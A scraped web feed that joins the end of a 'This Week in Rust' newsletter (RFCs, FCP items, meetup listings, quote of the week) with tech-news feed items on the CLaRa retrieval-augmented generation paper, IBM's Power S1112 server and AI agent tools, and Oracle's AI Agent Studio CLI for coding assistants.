<p><a href="https://github.com/rust-lang/rustc-perf/blob/212da2d63f1edf2ab22293547a99f0fbf8cb68a8/triage/2026/2026-07-13.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named <code>Fn</code> trait parameters</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159179">enable <code>unreachable_cfg_select_predicates</code> lint as part of <code>unused</code> lint group</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156906">Stabilize <code>dyn Allocator</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157226">Partially stabilize <code>box_vec_non_null</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1015">Enable <code>-Zpolonius=next</code> on nightly</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1014">Enable <code>-Znext-solver</code> on nightly by default for testing</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1012">Stabilizing the state of the debuginfo test suite</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3983">bf16 primitive type</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-15 - 2026-08-12 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv/events/">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315676843/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-12 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, MA, IN | <a href="https://www.meetup.com/rust-pune/events/">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group/events/">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/159039#issuecomment-4931084997">workingjubilee on Rust github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1786">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1uxsigp/this_week_in_rust_660/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[CLaRa: Bridging Retrieval and Generation with Continuous Latent Reasoning]]></title>
<description><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based c...]]></description>
<link>https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671793/ai-nachrichten/clara-bridging-retrieval-and-generation-with-continuous-latent-reasoning/</guid>
<pubDate>Wed, 15 Jul 2026 22:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Retrieval-augmented generation (RAG) enhances large language models (LLMs) with external knowledge but still suffers from long contexts and disjoint retrieval–generation optimization. In this work, we propose CLaRa (Continuous Latent Reasoning), a unified framework that performs embedding-based compression and joint optimization in a shared continuous space. To obtain semantically rich and retrievable compressed vectors, thereby reducing the document length fed into the generator, we introduce SCP, a key-preserving data synthesis framework based on question-answering and paraphrase…]]></content:encoded>
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<title><![CDATA[IBM targets AI edge with Power server, software upgrades]]></title>
<description><![CDATA[IBM has bolstered its Power server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping cu...]]></description>
<link>https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671628/it-security-nachrichten/ibm-targets-ai-edge-with-power-server-software-upgrades/</guid>
<pubDate>Wed, 15 Jul 2026 20:37:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">IBM has bolstered its <a href="https://www.networkworld.com/article/4018955/ibm-pumps-up-ai-security-for-new-enterprise-power11-server-family.html">Power</a> server portfolio with a new edge S1112 server and announced IBM Power Autonomous Operations, an AI agent that helps customers monitor Power systems and autonomously resolve issues to keep operations running smoothly. Additional software upgrades are aimed at helping customers deploy and manage <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html">AI</a> infrastructure components. </p>



<p class="wp-block-paragraph">“Each announcement addresses a different layer of the enterprise technology stack, from how infrastructure is deployed and managed to how applications are developed, modernized, and optimized,” wrote Brandon Pederson, senior IBM i product manager, in a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">blog post</a> about the new products. “Together, they reinforce a broader direction for IBM Power of helping clients move from manually operated infrastructure toward intelligent, resilient, and AI-assisted systems that are easier to manage, easier to modernize, and ready for new workloads.” </p>



<p class="wp-block-paragraph">The new <a href="https://www.ibm.com/docs/en/announcements/power-s1112-server">IBM Power S1112</a> is a one‑socket Power11 server engineered for IBM i, AIX, and Linux. Aimed at distributed and edge locations, it is Big Blue’s new entry-level i server and is AI‑ready by design, integrating on‑chip Matrix Math Acceleration (MMA) for fast inferencing and other AI‑driven use cases, such as support for AI-assisted decisions, automation, and analytics close to where data is generated and consumed, Pederson stated.</p>



<p class="wp-block-paragraph">The server supports two configurations: a 10-core 3.05 to 4.0 Ghz Power11 Processor in a rack version only, and a 4-core 3.60 to 4.0 Ghz Power11 in rack and tower form factors, IBM stated.</p>



<p class="wp-block-paragraph">“For IBM i clients, Power S1112 is especially important because it expands what entry IBM i environments can do. IBM i P05 clients can run IBM i partitions within the P05 software tier while also using additional system resources for AIX, Linux, VIOS, AI, or open-source workloads on the same server,” Pederson wrote. “This creates a flexible path to consolidate workloads, improve utilization, and support modernization without forcing clients into a larger platform than they need.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Thomas Prior for IBM</p></div>



<h3 class="wp-block-heading">Announced: IBM Power Autonomous Operations</h3>



<p class="wp-block-paragraph">On the software side, IBM Power Autonomous Operations offers automation capabilities via an embedded AI agent that offers natural language interactions designed to help customers manage, tune, and streamline their environments without relying on deep domain expertise for every task, Pederson stated.</p>



<p class="wp-block-paragraph">“IBM Power Autonomous Operations is designed to continuously monitor, optimize, protect, and manage Power environments. It combines Power telemetry, AI-powered analytics, automation, and operational workflows into a unified experience that helps IT teams reduce complexity, improve resiliency, and increase productivity,” Pederson wrote. </p>



<p class="wp-block-paragraph">“Rather than simply showing operators what is happening, Power Autonomous Operations is designed to help teams decide what to do next. The platform analyzes system telemetry, identifies risks and optimization opportunities, and provides intelligent recommendations or automated actions to improve performance, resiliency, and operational efficiency,” Pederson wrote.</p>



<h3 class="wp-block-heading">Agentic Engine for IBM i</h3>



<p class="wp-block-paragraph">IBM also issued a <a href="https://community.ibm.com/community/user/blogs/brandon-pederson1/2026/07/07/ibm-power-advancing-autonomous-it-ai-ready-infrast">preview</a> of the Agentic Engine for IBM i, which is aimed at providing greater AI support for Power systems. </p>



<p class="wp-block-paragraph">IBM described the Agentic Engine as a new enablement layer designed to make it easier to adopt native and integrated AI agents into IBM i workloads and business processes. The engine provides the runtime, IBM i Knowledge Pack, observability, extensibility, MCP server, and foundational agents that help teams build trusted agents for IBM i without starting from scratch. Developers can build agents using their preferred coding tools, run them close to Db2 for i data under native IBM i object-level authority, and extend them into broader enterprise workflows through APIs and agent-to-agent integration.</p>



<p class="wp-block-paragraph">With security, governance, and instrumentation built in, the Agentic Engine for IBM i helps organizations manage agent behavior, monitor activity, and support responsible adoption across mission-critical environments, Pederson stated.</p>



<h3 class="wp-block-heading">IBM Bob Premium Package for i</h3>



<p class="wp-block-paragraph">Also in the AI agent vein, IBM announced support for its <a href="https://newsroom.ibm.com/2026-07-09-ibm-advances-enterprise-ai-software-development-with-multi-agent-capabilities-and-specialized-modernization-workflows">Bob AI</a> application development environment for the i system. The idea here is to help customers quickly modernize applications built on RPG and COBOL.</p>



<p class="wp-block-paragraph">“These capabilities help developers explain complex RPG and COBOL programs, convert Fixed-Format RPG to modern Free-Format RPG, refactor monolithic applications into modular structures, generate RPG, CL, COBOL and DDS code, create technical documentation, and produce unit tests to support validation,” Pederson wrote. “Rather than relying on generic prompts and inconsistent results, IBM i teams can use expert-built skills that deliver more predictable, repeatable and higher-quality outcomes. Agentic workflows help guide multi-step development tasks from understanding and planning through implementation and validation, allowing developers to modernize incrementally without losing control.”</p>



<p class="wp-block-paragraph">IBM also added new development features to the core operating system for i with <a href="https://www.ibm.com/docs/en/announcements/i-76-technology-refresh-2-driving-modern-secure-more-accessible-innovation">IBM i 7.6 Technology Refresh 2</a> and i 7.5 Technology Refresh 8 that include a variety of features designed to enhance RPG and COBOL development, security, and hybrid cloud integration.</p>



<p class="wp-block-paragraph">IBM Power S1112 is expected to be generally available on July 24, IBM Power Autonomous Operations is expected to be generally available on September 23, 2026, and IBM Bob Premium Package for i was made generally available on June 24, 2026.</p>
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<title><![CDATA[Oracle expands AI Agent Studio for Fusion Applications with pro-code tools]]></title>
<description><![CDATA[Oracle on Tuesday expanded its AI Agent Studio for Fusion Applications with new pro-code development tools, including a CLI-based capability called AI Studio Skill, allowing developers to build agentic applications using familiar environments such as VS Code, Codex, and Claude Code.



The AI Stu...]]></description>
<link>https://tsecurity.de/de/3671157/ai-nachrichten/oracle-expands-ai-agent-studio-for-fusion-applications-with-pro-code-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671157/ai-nachrichten/oracle-expands-ai-agent-studio-for-fusion-applications-with-pro-code-tools/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:28 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Oracle on Tuesday expanded its AI Agent Studio for Fusion Applications with new pro-code development tools, including a CLI-based capability called AI Studio Skill, allowing developers to build agentic applications using familiar environments such as VS Code, Codex, and Claude Code.</p>



<p class="wp-block-paragraph">The AI Studio Skill is the CLI that provides the Fusion-specific context and tooling that AI coding assistants need to build Fusion-native applications. It provides access to the project structure, APIs, templates, validation, packaging, and deployment workflows required for Fusion Agentic Applications, <a href="http://linkedin.com/in/nataliarachelson/">Natalia Rachelson</a>, SVP of product for Fusion Applications at Oracle, told InfoWorld.</p>



<p class="wp-block-paragraph">“Think of it as Oracle’s development harness for popular AI coding assistants. Developers can use models like Codex or Claude Code to generate code, while the AI Studio Skill connects those models to Oracle AI Agent Studio and the Fusion runtime,” Rachelson said.</p>



<h2 class="wp-block-heading">Familiar tools and workflows to simplify development</h2>



<p class="wp-block-paragraph">The access to familiar IDEs and harnesses, according to analysts, will make it easier for developers to build and maintain agentic applications for business workflows.</p>



<p class="wp-block-paragraph">“The AI Studio Skill provides developers a way to build Fusion agents like a new software function versus configuring them like application extensions,” said <a href="https://www.infotech.com/profiles/scott-bickley" target="_blank" rel="noreferrer noopener">Scott Bickley</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">“Enterprise developers expect source control, code review, repeatable deployments, testing or debugging, and integration into their existing toolchains. Connecting the various IDEs and code assist products will make it easier to build, validate, and maintain agentic applications using already familiar tools and processes. This ostensibly will result in agents that are easier to maintain, govern, and align with enterprise development practices,” Bickley added.</p>



<p class="wp-block-paragraph">For <a href="https://www.linkedin.com/in/robert-kramer-58239b22/" target="_blank" rel="noreferrer noopener">Robert Kramer</a>, managing partner at KramerERP, the move is likely to drive more adoption of the Studio itself: “Oracle is meeting developers where they already work and making Fusion a more attractive place to build agentic applications.”</p>



<h2 class="wp-block-heading">Native runtime could aid governance in production deployments</h2>



<p class="wp-block-paragraph">However, the CLI and IDE integrations, for Bickley, extend beyond developer productivity into tackling the governance and execution challenges that often prevent AI prototypes from reaching production.</p>



<p class="wp-block-paragraph">“One of the most painful barriers to production AI is that many prototypes are built outside the enterprise systems where identity, permissions, workflow approvals, and overall system governance are already built in,” Bickley said.</p>



<p class="wp-block-paragraph">In contrast, the integrations will allow enterprises to run agentic applications from inside Oracle’s platform, leveraging existing business context, identity, approvals, and governance rather than recreating those capabilities through external orchestration layers when moving them into production, Bickley added.</p>



<p class="wp-block-paragraph">That shift, the analyst further added, will prove beneficial for CIOs because it will accelerate business outcomes while operating within a trusted environment.</p>



